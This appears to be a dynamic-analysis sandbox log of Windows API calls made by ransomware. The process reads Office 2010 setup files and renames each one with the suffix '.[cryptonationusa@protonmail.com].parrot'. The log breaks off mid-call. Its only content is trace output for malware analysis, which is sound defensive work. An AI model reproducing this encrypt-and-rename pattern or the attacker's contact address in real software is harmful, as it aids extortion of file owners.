ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5ac, lpOverlapped=0x0) returned 1 [0120.787] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0120.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0120.790] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.790] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.792] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.792] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4cf, lpOverlapped=0x0) returned 1 [0120.792] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0120.795] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.796] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.797] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.797] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x73c, lpOverlapped=0x0) returned 1 [0120.797] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0120.804] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.804] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.806] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.806] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x91975, lpOverlapped=0x0) returned 1 [0120.878] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0120.921] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.921] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.922] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.922] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11644, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x11644, lpOverlapped=0x0) returned 1 [0120.926] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0120.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0120.932] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.932] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.934] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.934] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x15b5, lpOverlapped=0x0) returned 1 [0120.935] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0120.940] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.940] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.942] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.942] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x333, lpOverlapped=0x0) returned 1 [0120.942] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0120.946] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.946] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.947] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.947] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9339, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x9339, lpOverlapped=0x0) returned 1 [0120.950] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.951] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.951] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.951] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0120.953] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.953] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.960] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.961] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6931, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6931, lpOverlapped=0x0) returned 1 [0120.963] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.964] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0120.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0120.967] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.967] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.968] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.968] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6a3b, lpOverlapped=0x0) returned 1 [0120.969] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.970] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0120.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0120.972] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.972] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.974] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.974] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10676, lpOverlapped=0x0) returned 1 [0120.977] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0120.981] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.981] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.982] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.982] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2488, lpOverlapped=0x0) returned 1 [0120.983] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692290 | out: hHeap=0x5b0000) returned 1 [0120.990] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.990] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.991] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.991] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x567, lpOverlapped=0x0) returned 1 [0120.991] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a8460 | out: hHeap=0x5b0000) returned 1 [0120.995] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.995] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.043] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.043] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x93a, lpOverlapped=0x0) returned 1 [0121.044] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.048] SetFilePointerEx (in: 